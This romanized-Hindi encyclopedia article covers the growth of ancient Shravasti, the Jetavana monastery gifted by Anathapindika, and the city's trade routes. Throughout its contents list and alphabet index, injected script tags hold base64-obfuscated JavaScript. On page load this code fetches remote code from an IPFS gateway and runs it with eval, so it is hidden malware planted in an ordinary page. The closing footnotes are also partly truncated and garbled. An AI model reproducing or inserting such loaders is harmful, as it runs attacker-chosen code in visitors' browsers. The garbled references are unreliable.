श्रावस्ती का विकास

	shravasti ka vikas
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	shravasti uttar pradesh ke prasiddh aitihasik paryatan sthaloan mean se ek hai. bauddh evan jain tirth sthanoan ke lie shravasti prasiddh hai. yahaan ke utkhanan se puratattv mahattv ki kee vastuean mili haian.
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat tatha jain, bauddh sahity adi mean anek ullekh.
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh, aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 ki.mi. ki doori par hai
sanbandhit lekh	jetavan, shobhanath mandir, moolagandh kuti vihar, kaushal mahajanapad adi. ;

shravasti vishay soochi

shravasti <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> parichay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sthiti <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> namakaran <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vikas <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahakavyoan tatha puranoan mean varnan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jatakoan mean varnan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bauddh sahity mean ullekh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jain granthoan mean ullekh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> fahyan ka varnan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hven tsaang ka varnan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> utkhanan kary <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sahet ka utkhanan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahet ka utkhanan

shravasti himalay ki talahati mean base bharat-nepal sima ke simavarti zile baharaich se mahaj 40 kilomitar ki doori par sthit hai. uttar pradesh ke is zile ki pahachan vishv ke kone-kone mean aj bauddh tirthasthal ke roop mean hai. pauranik manyataoan ke anusar, is aitihasik nagari ka prachinatam itihas ramayan aur mahabharat kal ke mahakavyoan ke anusar pahale ye uttar kaushal ki rajadhani hua karati thi.

nagar ka vikas

hamare kuchh prachin granthoan ke anusar kosal ka yah pradhan nagar sarvada ramanik, darshaniy, manoram aur dhanadhany se sanpann tha. isamean sabhi tarah ke upakaran maujood the. isako dekhane se lagata tha, mano devapuri alakananda hi sakshat dharatal par utar aee ho. nagar ki s dakean chau di thian aur in par b di savariyaan bhali bhaanti a sakati thian. nagarik shrriangar-premi the. ve hathi, gho de aur palaki par savar hokar rajamargoan par nikala karate the. isamean rajakiy koshthagar^[1] bane huye the, jinamean ghi, tel aur khane-pine ki chizean prabhoot matra mean ekatr kar li gee thian.^[2]

jetavan ka nirman

[[chitr:Jetavana-Sravasti-2.jpg|thumb|250px|left|jetavan, shravasti]] vahaan ke nagarik gautam buddh ke bahut b de bhakt the. 'milindaprashn' namak granth mean chadhav-badhav ke sath kaha gaya hai ki isamean bhikshuoan ki sankhya 5 karo d thi. isake alava vahaan ke tin lakh sattavan hazar grihasth bauddh dharm ko manate the. is nagar mean 'jetavan' nam ka ek udyan tha, jise vahaan ke 'jet' namak rajakumar ne aropit kiya tha. is nagar ka anathapiandak namak seth jo buddh ka priy shishy tha, is udyan ke shantimay vatavaran se b da prabhavit tha. usane ise kharid kar bauddh sangh ko dan kar diya tha.^[2] bauddh granthoan mean katha ati hai ki is pooanjipati ne jetavan ko utani mudraoan mean kharida tha, jitani ki bichhane par isake poore farsh ko bhali prakar dhak deti thian. usane isake bhitar ek math bhi banava diya, jo ki shravasti ane par buddh ka vishramagrih hua karata tha. ise log 'kosal mandir' bhi kahate the.

anathapiandak ne jetavan ke bhitar kuchh aur bhi math banava diye the, jinamean bhikshu log rahate the. inamean pratyek ke nirman mean ek lakh mudrayean kharch huee thian. isake atirikt usane kuean, talab aur chabootare adi ka bhi vahaan nirman kara diya tha. bauddh granthoan mean varnan milata hai ki jetavan mean rahane vale bhikshu subah aur sham rapti nadi mean nahane ke liye ate the. lagata hai ki yah udyan isake tat ke samip hi kahian sthit tha. anathapiandak ne apane jivan ki sari kamaee bauddh sangh ke hit mean laga di thi. usake ghar par shramanoan ko bahusankhya mean prati din yathesht bhojan karaya jata tha. gautam buddh ke prati shraddha ke karan shravasti nareshoan ne is nagar mean danagrih banava rakha tha, jahaan par bhikshuoan ko bhojan milata tha.^[2]

vyapar ka keandr

thumb|250px|left|jetavan stoop ke avashesh, shravasti shravasti ki bhautik samriddhi ka pramukh karan yah tha ki yahaan par tin pramukh vyaparik path milate the, jisase yah vyapar ka ek mahanh keandr ban gaya tha. yah nagar poorv mean rajagrih se, uttar-pashchim mean takshashila se aur dakshin mean pratishthan se ju da hua tha.^[3] rajagrih se 45 yojan door akar buddh (shasta) ne shravasti mean vihar kiya tha-

'rajaganh kapilavasthuto dooran satthi yojanani, savatthi pan panchadash. sattha rajagahato panchatalisayojanan agantya savatthiyan viharati.'^[4]

shravasti se rajagrih ka rasta vaishali se hokar gujarata tha. yah marg setavy, kapilavastu, kushinara^[5], pava, bhoganagar aur vaishali se hokar jata tha.^[6] pratishthan ko jane vala marg saket, koshaanbi, vidisha, gonadha aur ujjain se hokar gujarata tha. is nagar ka sanbandh varanasi se bhi tha.^[7] in donoan ke madhy kotagiri namak sthan p data tha.^[8] shravasti se takshashila ka marg soreyy adhunik soroan hote hue jata tha. is marg mean sarth nirantar chalate rahate the.^[9] is prakar ham dekhate haian ki shravasti ka bauddh kal mean bharat ke sabhi pramukh nagaroan se ghanishth vyaparik sanbandh tha.

left|30px|link=shravasti ka namakaran|pichhe jaean

shravasti ka namakaran

shravasti ka vikas

mahakavyoan tatha puranoan mean shravasti

right|30px|link=mahakavyoan tatha puranoan mean shravasti|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ kothar
↑ ^2.0 ^2.1 ^2.2 hamare purane nagar |lekhak: d aau. uday narayan ray |prakashak: hindustan ekedemi, ilahabad |prishth sankhya: 43-46 |
↑ vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi, 1963), prishth 59
↑ machjhimanikay, atthakatha, 1/3/4
↑ kushinagar
↑ pavamotichandr, sarthavah, bihar rashtrabhasha parishad, patana, 1953), prishth 17
↑ suttanipat (saranath sanskaran), prishth 212-13
↑ machjhimanikay, pali teksth sosayati, landan, bhag 1, prishth 473; motichandr, sarthavah, prishth 17
↑ bharatasianh upadhyay, buddhakalin bharatiy bhoogol, prishth 239

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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[1] thar

[sravasti-2] 2.0 ^2.1 ^2.2 hamare purane nagar |lekhak: d aau. uday narayan ray |prakashak: hindustan ekedemi, ilahabad |prishth sankhya: 43-46 |

[3] vishuddhanand pathak, histri aph koshal, (motilal banarasidas, varanasi, 1963), prishth 59

[4] y, atthakatha, 1/3/4

[5] ushinagar

[6] vamotichandr, sarthavah, bihar rashtrabhasha parishad, patana, 1953), prishth 17

[7] suttanipat (saranath sanskaran), prishth 212-13

[8] y, pali teksth sosayati, landan, bhag 1, prishth 473; motichandr, sarthavah, prishth 17

[9] ratasianh upadhyay, buddhakalin bharatiy bhoogol, prishth 239

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[3]

[4]

[5]

[6]

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[8]

[9]